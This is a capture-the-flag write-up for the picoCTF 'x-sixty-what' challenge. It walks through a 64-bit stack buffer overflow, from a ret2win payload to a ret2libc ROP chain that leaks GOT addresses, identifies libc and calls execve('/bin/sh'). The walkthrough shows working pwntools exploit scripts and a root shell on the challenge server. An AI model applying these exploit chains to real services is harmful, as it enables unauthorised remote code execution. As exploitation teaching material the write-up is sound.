Intro
Overflow the buffer and change the return address to the flag
function.
We are given the compiled binary, the application source code along with the hostname and port to connect to.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFFSIZE 64
#define FLAGSIZE 64
void flag() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFFSIZE];
gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
vuln();
return 0;
}
We can connect to the challenge as: nc saturn.picoctf.net 50614
$ nc saturn.picoctf.net 50614
Welcome to 64-bit. Give me a string that gets you the flag:
test
Available Functions
gdb-peda$ info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010c0 puts@plt
0x00000000004010d0 setresgid@plt
0x00000000004010e0 printf@plt
0x00000000004010f0 fgets@plt
0x0000000000401100 gets@plt
0x0000000000401110 getegid@plt
0x0000000000401120 setvbuf@plt
0x0000000000401130 fopen@plt
0x0000000000401140 exit@plt
0x0000000000401150 _start
0x0000000000401180 _dl_relocate_static_pie
0x0000000000401190 deregister_tm_clones
0x00000000004011c0 register_tm_clones
0x0000000000401200 __do_global_dtors_aux
0x0000000000401230 frame_dummy
0x0000000000401236 flag
0x00000000004012b2 vuln
0x00000000004012d2 main
0x0000000000401340 __libc_csu_init
0x00000000004013b0 __libc_csu_fini
0x00000000004013b8 _fini
Binary Security Measures
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
NX bit is enabled on the binary. We will need to use rop
.
Smashing the Stack
$ gdb ./vuln -q
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
gdb-peda$ r <<< $(python -c "print ('A'*1000)")
Starting program: /home/kali/Desktop/rop/x-sixty-what/vuln <<< $(python -c "print ('A'*1000)")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to 64-bit. Give me a string that gets you the flag:
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffde70 ('A' <repeats 200 times>...)
RBX: 0x0
RCX: 0x7ffff7df4a80 --> 0xfbad2088
RDX: 0x1
RSI: 0x1
RDI: 0x7ffff7df6a60 --> 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffdeb8 ('A' <repeats 200 times>...)
RIP: 0x4012d1 (<vuln+31>: ret)
R8 : 0x0
R9 : 0x0
R10: 0x63 ('c')
R11: 0x246
R12: 0x7fffffffdff8 ('A' <repeats 200 times>...)
R13: 0x4012d2 (<main>: endbr64)
R14: 0x0
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2c0 --> 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4012ca <vuln+24>: call 0x401100 <gets@plt>
0x4012cf <vuln+29>: nop
0x4012d0 <vuln+30>: leave
=> 0x4012d1 <vuln+31>: ret
0x4012d2 <main>: endbr64
0x4012d6 <main+4>: push rbp
0x4012d7 <main+5>: mov rbp,rsp
0x4012da <main+8>: sub rsp,0x20
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdeb8 ('A' <repeats 200 times>...)
0008| 0x7fffffffdec0 ('A' <repeats 200 times>...)
0016| 0x7fffffffdec8 ('A' <repeats 200 times>...)
0024| 0x7fffffffded0 ('A' <repeats 200 times>...)
0032| 0x7fffffffded8 ('A' <repeats 200 times>...)
0040| 0x7fffffffdee0 ('A' <repeats 200 times>...)
0048| 0x7fffffffdee8 ('A' <repeats 200 times>...)
0056| 0x7fffffffdef0 ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004012d1 in vuln ()
gdb-peda$
RIP Offset
gdb-peda$ pattern_create 1000 input_buf
Writing pattern of 1000 chars to filename "input_buf"
gdb-peda$ r < input_buf
Starting program: /home/kali/Desktop/rop/x-sixty-what/vuln < input_buf
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Welcome to 64-bit. Give me a string that gets you the flag:
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffde70 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
RBX: 0x0
RCX: 0x7ffff7df4a80 --> 0xfbad2098
RDX: 0x1
RSI: 0x1
RDI: 0x7ffff7df6a60 --> 0x0
RBP: 0x4141334141644141 ('AAdAA3AA')
RSP: 0x7fffffffdeb8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A"...)
RIP: 0x4012d1 (<vuln+31>: ret)
R8 : 0x0
R9 : 0x0
R10: 0x63 ('c')
R11: 0x246
R12: 0x7fffffffdff8 ("%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAsw"...)
R13: 0x4012d2 (<main>: endbr64)
R14: 0x0
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2c0 --> 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4012ca <vuln+24>: call 0x401100 <gets@plt>
0x4012cf <vuln+29>: nop
0x4012d0 <vuln+30>: leave
=> 0x4012d1 <vuln+31>: ret
0x4012d2 <main>: endbr64
0x4012d6 <main+4>: push rbp
0x4012d7 <main+5>: mov rbp,rsp
0x4012da <main+8>: sub rsp,0x20
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdeb8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A"...)
0008| 0x7fffffffdec0 ("AJAAfAA5
[...]
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004012d1 in vuln ()
gdb-peda$ pattern_offset IAAeAA4A
IAAeAA4A found at offset: 72
gdb-peda$
RIP Offset at 72.
Getting the flag
We just need to redirect execution to flag
function.
from pwn import *
#host, port = "saturn.picoctf.net", 62449
host, port = "127.0.0.1", 4444
chall = ELF("./vuln")
flag = chall.symbols["flag"]
payload = b"A"*72
# redirect execution to flag function
payload += p64(flag)
r = remote(host, port)
# print banner
print (r.recvline().decode())
# Send the payload
r.sendline(payload)
# receive flag content
flag_content = r.recv(64)
print (flag_content.decode())
Testing locally. Running the challenge on port 4444 as while true; do nc -nvlp 4444 -e ./vuln;done
.
$ python poc.py
[*] '/home/kali/Desktop/rop/x-sixty-what/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 127.0.0.1 on port 4444: Done
Welcome to 64-bit. Give me a string that gets you the flag:
MEH{TEST_FLAG_FOR_TESTING_MEEEEEHHHH}
[*] Closed connection to 127.0.0.1 port 4444
Testing against the challenge server. For some reason, this method did not work. However, updating the return address to 0x000000000040123b
which is the address of third instruction inside flag
function, the exploit works.
gdb-peda$ disassemble flag
Dump of assembler code for function flag:
0x0000000000401236 <+0>: endbr64
0x000000000040123a <+4>: push rbp
0x000000000040123b <+5>: mov rbp,rsp
0x000000000040123e <+8>: sub rsp,0x50
[....]
0x00000000004012b1 <+123>: ret
End of assembler dump.
gdb-peda$
Updated PoC.
from pwn import *
host, port = "saturn.picoctf.net", 52263
#host, port = "127.0.0.1", 4444
chall = ELF("./vuln")
flag = chall.symbols["flag"]
payload = b"A"*72
payload += p64(0x000000000040123b)
r = remote(host, port)
# print banner
print (r.recvline().decode())
# Send the payload
r.sendline(payload)
# receive flag content
flag_content = r.recv(64)
print (flag_content.decode())
Running against Challenge server.
$ python poc.py
[*] '/home/kali/Desktop/rop/x-sixty-what/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to saturn.picoctf.net on port 52263: Done
Welcome to 64-bit. Give me a string that gets you the flag:
picoCTF{b1663r_15_b3773r_964d9987}
[*] Closed connection to saturn.picoctf.net port 52263
Pwning the Server
We know that the challenge binary itself is not ASLR enabled, meaning we can use function addresses within the binary itself.The challenge binary has multiple functions such as puts
, gets
, setvbuf
, getegid
etc. The puts
function is of great interest to us as it would allow us leak memory addresses.
We can identify the version of libc.so.6
on the server by leaking the addresses for different functions. With the help of libc-database, we can specify the function names and addresses to potentially identify the target libc
version.
Pwn Approach
- Use
puts@plt
to leak the addresses of two or more functions.- Leak 1 -
[email protected]
- Leak 2 -
[email protected]
- Leak 1 -
- Search libc-database with addresses of leaked functions to identify the target
libc
version. - Download the target libc.
- Find addresses of
execve
,system
,/bin/sh
and any required gadget from libc and call eithersystem
orexecve
.
Leak #1 - puts() Address
Code to leak puts()
address.
from pwn import *
host, port = "saturn.picoctf.net", 62449
#host, port = "127.0.0.1", 4444
fake_ret = 0xcafebabedeadbeef
chall = ELF("./vuln")
# get the puts@plt and [email protected] addresses
puts_plt = chall.plt['puts']
puts_got_plt = chall.got['puts']
gets_got_plt = chall.got['gets']
main = chall.symbols["main"]
# Gadgets
# ropper --file ./vuln --search "pop rdi; ret"
# 0x00000000004013a3: pop rdi; ret;
pop_rdi_ret = 0x4013a3
payload = b"A"*72
# call puts to leak address of puts
payload += p64(pop_rdi_ret)
payload += p64(puts_got_plt) # RDI contains [email protected]
payload += p64(puts_plt) # call puts
# return to main
payload += p64(main)
r = remote(host, port)
# print banner
print (r.recvline().decode())
# Send the payload
r.sendline(payload)
# receive address of puts
puts_leaked = r.recv(6) + b"\x00\x00"
puts_leaked_addr = u64(puts_leaked)
print ("[+] Leaked puts address : " + hex(puts_leaked_addr))
Running against challenge server.
$ python poc.py
[*] '/home/kali/Desktop/rop/x-sixty-what/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to saturn.picoctf.net on port 56146: Done
Welcome to 64-bit. Give me a string that gets you the flag:
[+] Leaked puts address : 0x7f3eecd8b450
[*] Closed connection to saturn.picoctf.net port 56146
Searching the leaked address in libc-database shows multiple results for libc.
Symbol Name - puts
Address - 0x7f3eecd8b450 # or last 3 characters (450) of the address
Results:
libc6-i386_2.31-3_amd64
libc-2.31-3-x86
musl_1.1.23-2build1_amd64
libc6_2.11~20100104-0ubuntu2_amd64
libc6_2.11~20100104-0ubuntu1_amd64
libc6-i386_2.33-0experimental2_amd64
libc-2.35-2.mga9.x86_64_2
libc-2.35-1.mga9.x86_64_2
libc-2.35-5.mga9.x86_64_2
libc-2.35-3.mga9.x86_64_2
To narrow this list down, we must leak another address.
Leak #2 - setvbuf() Address
I attempted to return to the main function after first leak to exploit the overflow again to leak second address, however, it was giving incorrect addresses for the second leak. To overcome this, I closed the socket connection after first leak and connected again before leaking second address.
from pwn import *
if args.REMOTE:
host, port = "saturn.picoctf.net", 56146
else:
host, port = "127.0.0.1", 4444
fake_ret = 0xcafebabedeadbeef
chall = ELF("./vuln")
# get the puts@plt and [email protected] addresses
puts_plt = chall.plt['puts']
# Addresses to leak
# We can use either below method or use GDB to find got.plt addresses of functions
puts_got_plt = chall.got['puts'] # 0x404018
setvbuf_got_plt = chall.got['setvbuf'] # 0x404048
# Finding got.plt addresses of functions from GDB
# gdb-peda$ p puts
# $1 = {<text variable, no debug info>} 0x4010c0 <puts@plt>
# gdb-peda$ disassemble 0x4010c0
# Dump of assembler code for function puts@plt:
# 0x00000000004010c0 <+0>: endbr64
# 0x00000000004010c4 <+4>: bnd jmp QWORD PTR [rip+0x2f4d] # 0x404018 <[email protected]>
# 0x00000000004010cb <+11>: nop DWORD PTR [rax+rax*1+0x0]
# End of assembler dump.
# gdb-peda$ p setvbuf
# $2 = {<text variable, no debug info>} 0x401120 <setvbuf@plt>
# gdb-peda$ disassemble 0x401120
# Dump of assembler code for function setvbuf@plt:
# 0x0000000000401120 <+0>: endbr64
# 0x0000000000401124 <+4>: bnd jmp QWORD PTR [rip+0x2f1d] # 0x404048 <[email protected]>
# 0x000000000040112b <+11>: nop DWORD PTR [rax+rax*1+0x0]
# End of assembler dump.
main = chall.symbols["main"]
# Gadgets
# ropper --file ./vuln --search "pop rdi; ret"
# 0x00000000004013a3: pop rdi; ret;
pop_rdi_ret = 0x4013a3
# ropper --file ./vuln --search "pop rsi;"
# 0x00000000004013a1: pop rsi; pop r15; ret;
pop_rsi_r15_ret = 0x4013a1
payload = b"A"*72
# Leak address of puts()
payload += p64(pop_rdi_ret)
payload += p64(puts_got_plt) # rdi = [email protected]
payload += p64(puts_plt) # call puts
payload += p64(main) # return to main function after leak
r = remote(host, port)
# print banner
print (r.recvline().decode())
# Send the payload
r.sendline(payload)
# receive address of puts
puts_leaked = r.recv(6) + b"\x00\x00"
puts_leaked_addr = u64(puts_leaked)
print ("[+] Leaked puts address : " + hex(puts_leaked_addr))
r.close()
# Second Leak
payload = b"A"*72
# Leak address of setvbuf()
payload += p64(pop_rdi_ret)
payload += p64(setvbuf_got_plt) # rdi = [email protected]
payload += p64(puts_plt) # call puts
payload += p64(main) # return to main function after leak
r = remote(host, port)
# print banner
print (r.recvline().decode())
# Send the payload
r.sendline(payload)
# receive address of puts
setvbuf_leaked = r.recv(6) + b"\x00\x00"
setvbuf_leaked_addr = u64(setvbuf_leaked)
print ("[+] Leaked setvbuf address : " + hex(setvbuf_leaked_addr))
Running against challenge server.
$ python poc.py REMOTE
[*] '/home/kali/Desktop/rop/x-sixty-what/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to saturn.picoctf.net on port 56146: Done
Welcome to 64-bit. Give me a string that gets you the flag:
[+] Leaked puts address : 0x7fa790ad4450
[*] Closed connection to saturn.picoctf.net port 56146
[+] Opening connection to saturn.picoctf.net on port 56146: Done
Welcome to 64-bit. Give me a string that gets you the flag:
[+] Leaked setvbuf address : 0x7f53da0c6d10
[*] Closed connection to saturn.picoctf.net port 56146
We now have two function addresses to search in libc-database.
Symbol Name - puts
Address - 0x7fa790ad4450
Symbol Name - setvbuf
Address - 0x7f53da0c6d10
Results:
libc6_2.31-0ubuntu9.7_amd64
This time, the search result contained only one libc version - libc6_2.31-0ubuntu9.7_amd64
. The libc-database also shows offsets for useful functions and strings required to write an exploit.
Download - https://libc.rip/download/libc6_2.31-0ubuntu9.7_amd64.so
All Symbols - https://libc.rip/download/libc6_2.31-0ubuntu9.7_amd64.symbols
BuildID - 9fdb74e7b217d06c93172a8243f8547f947ee6d1
MD5 3cc133044168b7cbbc54e636e05a9a80
__libc_start_main_ret 0x240b3
dup2 0x10e8f0
printf 0x61cc0
puts 0x84450
read 0x10dff0
setvbuf 0x84d10
str_bin_sh 0x1b45bd
system 0x522c0
write 0x10e090
Writing the Exploit
Now that we have a copy of libc same as the one on the target machine, we can write an exploit for getting a shell. We can get offsets functions from the libc and use the leaked addresses to calculate base address of libc.
Once we do that, we can get addresses for any functions within libc such as execve
, system
. In the exploit, I’m returning to the main
address after every leak
so that we can re-exploit the overflow.
from pwn import *
if args.REMOTE:
host, port = "saturn.picoctf.net", 54665
else:
host, port = "127.0.0.1", 4444
fake_ret = 0xcafebabedeadbeef
libc = ELF("./libc6_2.31-0ubuntu9.7_amd64.so")
chall = ELF("./vuln")
# get the puts@plt and [email protected] addresses
puts_plt = chall.plt['puts']
# Addresses to leak
# We can use either below method or use GDB to find got.plt addresses of functions
puts_got_plt = chall.got['puts'] # 0x404018
setvbuf_got_plt = chall.got['setvbuf'] # 0x404048
# Finding got.plt addresses of functions from GDB
# gdb-peda$ p puts
# $1 = {<text variable, no debug info>} 0x4010c0 <puts@plt>
# gdb-peda$ disassemble 0x4010c0
# Dump of assembler code for function puts@plt:
# 0x00000000004010c0 <+0>: endbr64
# 0x00000000004010c4 <+4>: bnd jmp QWORD PTR [rip+0x2f4d] # 0x404018 <[email protected]>
# 0x00000000004010cb <+11>: nop DWORD PTR [rax+rax*1+0x0]
# End of assembler dump.
# gdb-peda$ p setvbuf
# $2 = {<text variable, no debug info>} 0x401120 <setvbuf@plt>
# gdb-peda$ disassemble 0x401120
# Dump of assembler code for function setvbuf@plt:
# 0x0000000000401120 <+0>: endbr64
# 0x0000000000401124 <+4>: bnd jmp QWORD PTR [rip+0x2f1d] # 0x404048 <[email protected]>
# 0x000000000040112b <+11>: nop DWORD PTR [rax+rax*1+0x0]
# End of assembler dump.
main = chall.symbols["main"]
# Gadgets
# ropper --file ./vuln --search "pop rdi; ret"
# 0x00000000004013a3: pop rdi; ret;
pop_rdi_ret = 0x4013a3
# ropper --file ./vuln --search "pop rsi;"
# 0x00000000004013a1: pop rsi; pop r15; ret;
pop_rsi_r15_ret = 0x4013a1
payload = b"A"*72
# Leak address of puts()
payload += p64(pop_rdi_ret)
payload += p64(puts_got_plt) # rdi = [email protected]
payload += p64(puts_plt) # call puts
payload += p64(main) # return to main function after leak
r = remote(host, port)
# print banner
print (r.recvline().decode())
# Send the payload
r.sendline(payload)
# receive address of puts
puts_leaked = r.recv(6) + b"\x00\x00"
puts_leaked_addr = u64(puts_leaked)
print ("[+] Leaked puts address : " + hex(puts_leaked_addr))
# calculate libc base address
puts_offset = libc.symbols["puts"]
execve_offset = libc.symbols["execve"]
system_offset = libc.symbols["system"]
# update libc base address
libc.address = puts_leaked_addr - puts_offset
print ("[+] Libc Base Address : " + hex(libc.address))
binsh_string = next(libc.search(b"/bin/sh\x00"))
zero_ptr = next(libc.search(b"\x00"*8))
execve_addr = libc.address + execve_offset
system_addr = libc.address + system_offset
print ("[+] execve() address : " + hex(execve_addr))
print ("[+] system() address : " + hex(system_addr))
print ("[+] ptr ->'/bin/sh' : " + hex(binsh_string))
print ("[+] Confirming /bin/sh by leaking %s" % hex(binsh_string))
# print out /bin/sh string to verify
payload = b"A"*72
# Leak string at binsh_addr
payload += p64(pop_rdi_ret)
payload += p64(binsh_string) # rdi = * "/bin/sh"
payload += p64(puts_plt) # call puts
payload += p64(main) # return to main function after leak
# Send the payload
r.sendline(payload)
r.interactive()
Testing against challenge server.
$ python poc.py REMOTE
[*] '/home/kali/Desktop/rop/x-sixty-what/libc6_2.31-0ubuntu9.7_amd64.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/kali/Desktop/rop/x-sixty-what/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to saturn.picoctf.net on port 54665: Done
Welcome to 64-bit. Give me a string that gets you the flag:
[+] Leaked puts address : 0x7f2b505e2450
[+] Libc Base Address : 0x7f2b5055e000
[+] execve() address : 0x7f2b506411a0
[+] system() address : 0x7f2b505b02c0
[+] ptr ->'/bin/sh' : 0x7f2b507125bd
[+] Confirming /bin/sh by leaking 0x7f2b507125bd
[*] Switching to interactive mode
Welcome to 64-bit. Give me a string that gets you the flag:
/bin/sh
Welcome to 64-bit. Give me a string that gets you the flag:
$
[*] Interrupted
[*] Closed connection to saturn.picoctf.net port 54665
Excellent. We leaked /bin/sh
string from memory which implies we are using right version of libc. All thats left is to call execve
function to get a shell.
Getting a Shell
Final Exploit Code:
from pwn import *
if args.REMOTE:
host, port = "saturn.picoctf.net", 59337
else:
host, port = "127.0.0.1", 4444
fake_ret = 0xcafebabedeadbeef
libc = ELF("./libc6_2.31-0ubuntu9.7_amd64.so")
chall = ELF("./vuln")
# get the puts@plt and [email protected] addresses
puts_plt = chall.plt['puts']
# Addresses to leak
# We can use either below method or use GDB to find got.plt addresses of functions
puts_got_plt = chall.got['puts'] # 0x404018
setvbuf_got_plt = chall.got['setvbuf'] # 0x404048
# Finding got.plt addresses of functions from GDB
# gdb-peda$ p puts
# $1 = {<text variable, no debug info>} 0x4010c0 <puts@plt>
# gdb-peda$ disassemble 0x4010c0
# Dump of assembler code for function puts@plt:
# 0x00000000004010c0 <+0>: endbr64
# 0x00000000004010c4 <+4>: bnd jmp QWORD PTR [rip+0x2f4d] # 0x404018 <[email protected]>
# 0x00000000004010cb <+11>: nop DWORD PTR [rax+rax*1+0x0]
# End of assembler dump.
# gdb-peda$ p setvbuf
# $2 = {<text variable, no debug info>} 0x401120 <setvbuf@plt>
# gdb-peda$ disassemble 0x401120
# Dump of assembler code for function setvbuf@plt:
# 0x0000000000401120 <+0>: endbr64
# 0x0000000000401124 <+4>: bnd jmp QWORD PTR [rip+0x2f1d] # 0x404048 <[email protected]>
# 0x000000000040112b <+11>: nop DWORD PTR [rax+rax*1+0x0]
# End of assembler dump.
main = chall.symbols["main"]
# Gadgets
# ropper --file ./vuln --search "pop rdi; ret"
# 0x00000000004013a3: pop rdi; ret;
pop_rdi_ret = 0x4013a3
# ropper --file ./vuln --search "pop rsi;"
# 0x00000000004013a1: pop rsi; pop r15; ret;
pop_rsi_r15_ret = 0x4013a1
# Step 1: Leaking puts() address
################################
payload = b"A"*72
# Leak address of puts()
payload += p64(pop_rdi_ret)
payload += p64(puts_got_plt) # rdi = [email protected]
payload += p64(puts_plt) # call puts
payload += p64(main) # return to main function after leak
r = remote(host, port)
# print banner
print (r.recvline().decode())
# Send the payload
r.sendline(payload)
# receive address of puts
puts_leaked = r.recv(6) + b"\x00\x00"
puts_leaked_addr = u64(puts_leaked)
print ("[+] Leaked puts address : " + hex(puts_leaked_addr))
# Step 2: Calculating required addresses
##########################################
# calculate libc base address
puts_offset = libc.symbols["puts"]
execve_offset = libc.symbols["execve"]
system_offset = libc.symbols["system"]
# update libc base address
libc.address = puts_leaked_addr - puts_offset
print ("[+] Libc Base Address : " + hex(libc.address))
binsh_string = next(libc.search(b"/bin/sh\x00"))
zero_ptr = next(libc.search(b"\x00"*8))
execve_addr = libc.address + execve_offset
system_addr = libc.address + system_offset
print ("[+] execve() address : " + hex(execve_addr))
print ("[+] system() address : " + hex(system_addr))
print ("[+] ptr ->'/bin/sh' : " + hex(binsh_string))
# Step 3: Leaking /bin/sh
##########################
# this step is not required, i did this
# just to confirm if all the address calculations
# are correct
print ("[+] Confirming /bin/sh by leaking %s" % hex(binsh_string))
# print out /bin/sh string to verify
payload = b"A"*72
# Leak string at binsh_addr
payload += p64(pop_rdi_ret)
payload += p64(binsh_string) # rdi = * "/bin/sh"
payload += p64(puts_plt) # call puts
payload += p64(main) # return to main function after leak
# Send the payload
r.sendline(payload)
# Step 4: Calling execve
##########################
# execve(*"/bin/sh", *0, *0)
# RDI = ptr to /bin/sh
# RSI = zero pointer
# RDX = zero pointer
payload = b"A"*72
payload += p64(pop_rdi_ret)
payload += p64(binsh_string) # rdi = * "/bin/sh"
payload += p64(pop_rsi_r15_ret)
payload += p64(zero_ptr) # rsi = zero pointer
payload += p64(0x4242424242424242)
# dont care about rdx
# also i did not find gadgets to set values for rdx
# exploit works even without setting rdx
payload += p64(execve_addr) # call execve
# Send the payload
r.sendline(payload)
r.interactive()
Testing against challenge server.
$ python poc.py REMOTE
[*] '/home/kali/Desktop/rop/x-sixty-what/libc6_2.31-0ubuntu9.7_amd64.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/kali/Desktop/rop/x-sixty-what/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to saturn.picoctf.net on port 59337: Done
Welcome to 64-bit. Give me a string that gets you the flag:
[+] Leaked puts address : 0x7efc77420450
[+] Libc Base Address : 0x7efc7739c000
[+] execve() address : 0x7efc7747f1a0
[+] system() address : 0x7efc773ee2c0
[+] ptr ->'/bin/sh' : 0x7efc775505bd
[+] Confirming /bin/sh by leaking 0x7efc775505bd
[*] Switching to interactive mode
Welcome to 64-bit. Give me a string that gets you the flag:
/bin/sh
Welcome to 64-bit. Give me a string that gets you the flag:
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root
$ cat flag.txt;echo
picoCTF{b1663r_15_b3773r_964d9987}
$ exit
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to saturn.picoctf.net port 59337